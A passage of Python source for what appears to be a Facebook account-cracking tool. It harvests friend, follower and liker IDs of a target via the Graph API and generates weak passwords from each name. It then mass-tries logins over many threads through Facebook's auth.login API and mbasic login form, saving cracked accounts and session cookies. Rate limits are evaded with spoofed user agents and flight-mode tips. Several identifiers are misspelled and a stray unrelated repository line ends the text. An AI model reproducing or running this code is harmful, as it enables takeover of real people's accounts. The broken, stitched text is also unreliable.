Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
WenServices / ClassifyAIAI Service that classifies data with given or passed model structure response to use in code
